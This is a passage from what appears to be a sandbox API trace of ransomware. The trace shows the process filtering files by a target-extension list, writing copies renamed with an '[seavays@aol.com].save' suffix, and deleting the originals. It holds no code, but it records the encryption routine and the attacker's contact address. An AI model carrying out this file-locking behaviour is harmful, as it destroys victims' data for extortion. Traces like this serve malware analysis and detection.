lpString2="2.WMF") returned -1 [0168.498] lstrlenW (lpString=".pdf") returned 4 [0168.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.498] lstrlenW (lpString=".xls") returned 4 [0168.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.498] lstrlenW (lpString=".xlsx") returned 5 [0168.498] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.498] lstrlenW (lpString=".ppt") returned 4 [0168.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0168.498] lstrlenW (lpString=".zip") returned 4 [0168.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.498] lstrlenW (lpString=".rar") returned 4 [0168.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.498] lstrlenW (lpString=".bz2") returned 4 [0168.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.499] lstrlenW (lpString=".7z") returned 3 [0168.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0168.499] lstrlenW (lpString=".dbf") returned 4 [0168.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0168.499] lstrlenW (lpString=".1cd") returned 4 [0168.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0168.499] lstrlenW (lpString=".jpg") returned 4 [0168.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.499] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.499] lstrlenW (lpString="J0105276.WMF") returned 12 [0168.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0168.500] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=19240) returned 1 [0168.500] CloseHandle (hObject=0x520) returned 1 [0168.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 0x220 [0168.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0168.501] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.501] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0168.502] GetLastError () returned 0x0 [0168.502] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x4b28, lpOverlapped=0x0) returned 1 [0168.671] WriteFile (in: hFile=0x51c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4b30, lpOverlapped=0x0) returned 1 [0168.673] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.673] WriteFile (in: hFile=0x51c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.673] SetEndOfFile (hFile=0x51c) returned 1 [0168.673] CloseHandle (hObject=0x51c) returned 1 [0168.673] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.673] SetEndOfFile (hFile=0x520) returned 1 [0168.676] CloseHandle (hObject=0x520) returned 1 [0168.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 1 [0168.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0168.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0168.678] lstrlenW (lpString=".doc") returned 4 [0168.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.678] lstrlenW (lpString=".docx") returned 5 [0168.678] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.678] lstrlenW (lpString=".pdf") returned 4 [0168.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.678] lstrlenW (lpString=".xls") returned 4 [0168.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.678] lstrlenW (lpString=".xlsx") returned 5 [0168.678] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.678] lstrlenW (lpString=".ppt") returned 4 [0168.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0168.679] lstrlenW (lpString=".zip") returned 4 [0168.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.679] lstrlenW (lpString=".rar") returned 4 [0168.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.679] lstrlenW (lpString=".bz2") returned 4 [0168.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.679] lstrlenW (lpString=".7z") returned 3 [0168.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0168.679] lstrlenW (lpString=".dbf") returned 4 [0168.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0168.679] lstrlenW (lpString=".1cd") returned 4 [0168.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0168.679] lstrlenW (lpString=".jpg") returned 4 [0168.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0168.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0168.679] lstrlenW (lpString=".doc") returned 4 [0168.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.679] lstrlenW (lpString=".docx") returned 5 [0168.679] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0168.679] lstrlenW (lpString=".pdf") returned 4 [0168.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.680] lstrlenW (lpString=".xls") returned 4 [0168.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.680] lstrlenW (lpString=".xlsx") returned 5 [0168.680] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0168.680] lstrlenW (lpString=".ppt") returned 4 [0168.680] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0168.680] lstrlenW (lpString=".zip") returned 4 [0168.680] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.680] lstrlenW (lpString=".rar") returned 4 [0168.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.680] lstrlenW (lpString=".bz2") returned 4 [0168.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.680] lstrlenW (lpString=".7z") returned 3 [0168.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0168.680] lstrlenW (lpString=".dbf") returned 4 [0168.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0168.680] lstrlenW (lpString=".1cd") returned 4 [0168.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0168.680] lstrlenW (lpString=".jpg") returned 4 [0168.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.681] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.681] lstrlenW (lpString="J0105292.WMF") returned 12 [0168.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0168.682] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=14868) returned 1 [0168.682] CloseHandle (hObject=0x520) returned 1 [0168.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 0x220 [0168.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0168.683] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.683] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0168.684] GetLastError () returned 0x0 [0168.684] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x3a14, lpOverlapped=0x0) returned 1 [0168.686] WriteFile (in: hFile=0x51c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x3a20, lpOverlapped=0x0) returned 1 [0168.688] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.688] WriteFile (in: hFile=0x51c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.688] SetEndOfFile (hFile=0x51c) returned 1 [0168.688] CloseHandle (hObject=0x51c) returned 1 [0168.688] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.688] SetEndOfFile (hFile=0x520) returned 1 [0168.693] CloseHandle (hObject=0x520) returned 1 [0168.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 1 [0168.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0168.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0168.694] lstrlenW (lpString=".doc") returned 4 [0168.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.694] lstrlenW (lpString=".docx") returned 5 [0168.694] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.694] lstrlenW (lpString=".pdf") returned 4 [0168.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.694] lstrlenW (lpString=".xls") returned 4 [0168.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.695] lstrlenW (lpString=".xlsx") returned 5 [0168.695] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.695] lstrlenW (lpString=".ppt") returned 4 [0168.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0168.695] lstrlenW (lpString=".zip") returned 4 [0168.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.695] lstrlenW (lpString=".rar") returned 4 [0168.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.695] lstrlenW (lpString=".bz2") returned 4 [0168.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.695] lstrlenW (lpString=".7z") returned 3 [0168.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0168.695] lstrlenW (lpString=".dbf") returned 4 [0168.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0168.695] lstrlenW (lpString=".1cd") returned 4 [0168.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0168.695] lstrlenW (lpString=".jpg") returned 4 [0168.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0168.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0168.695] lstrlenW (lpString=".doc") returned 4 [0168.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.696] lstrlenW (lpString=".docx") returned 5 [0168.696] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.696] lstrlenW (lpString=".pdf") returned 4 [0168.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.696] lstrlenW (lpString=".xls") returned 4 [0168.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.696] lstrlenW (lpString=".xlsx") returned 5 [0168.696] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.696] lstrlenW (lpString=".ppt") returned 4 [0168.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0168.696] lstrlenW (lpString=".zip") returned 4 [0168.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.696] lstrlenW (lpString=".rar") returned 4 [0168.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.696] lstrlenW (lpString=".bz2") returned 4 [0168.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.696] lstrlenW (lpString=".7z") returned 3 [0168.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0168.696] lstrlenW (lpString=".dbf") returned 4 [0168.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0168.696] lstrlenW (lpString=".1cd") returned 4 [0168.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0168.696] lstrlenW (lpString=".jpg") returned 4 [0168.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.697] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.697] lstrlenW (lpString="J0105294.WMF") returned 12 [0168.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0168.699] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=5504) returned 1 [0168.699] CloseHandle (hObject=0x520) returned 1 [0168.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 0x220 [0168.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0168.700] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.700] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0168.701] GetLastError () returned 0x0 [0168.701] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x1580, lpOverlapped=0x0) returned 1 [0168.703] WriteFile (in: hFile=0x51c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1590, lpOverlapped=0x0) returned 1 [0168.704] ReadFile (in: hFile=0x520, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.704] WriteFile (in: hFile=0x51c, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.705] SetEndOfFile (hFile=0x51c) returned 1 [0168.705] CloseHandle (hObject=0x51c) returned 1 [0168.705] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.705] SetEndOfFile (hFile=0x520) returned 1 [0168.708] CloseHandle (hObject=0x520) returned 1 [0168.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.709] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 1 [0168.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0168.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0168.710] lstrlenW (lpString=".doc") returned 4 [0168.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.710] lstrlenW (lpString=".docx") returned 5 [0168.710] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.710] lstrlenW (lpString=".pdf") returned 4 [0168.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.710] lstrlenW (lpString=".xls") returned 4 [0168.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.710] lstrlenW (lpString=".xlsx") returned 5 [0168.710] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.710] lstrlenW (lpString=".ppt") returned 4 [0168.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0168.710] lstrlenW (lpString=".zip") returned 4 [0168.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.710] lstrlenW (lpString=".rar") returned 4 [0168.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.710] lstrlenW (lpString=".bz2") returned 4 [0168.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.710] lstrlenW (lpString=".7z") returned 3 [0168.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0168.710] lstrlenW (lpString=".dbf") returned 4 [0168.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0168.711] lstrlenW (lpString=".1cd") returned 4 [0168.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0168.711] lstrlenW (lpString=".jpg") returned 4 [0168.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0168.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0168.711] lstrlenW (lpString=".doc") returned 4 [0168.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.711] lstrlenW (lpString=".docx") returned 5 [0168.711] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.711] lstrlenW (lpString=".pdf") returned 4 [0168.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.711] lstrlenW (lpString=".xls") returned 4 [0168.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.711] lstrlenW (lpString=".xlsx") returned 5 [0168.711] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.711] lstrlenW (lpString=".ppt") returned 4 [0168.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0168.711] lstrlenW (lpString=".zip") returned 4 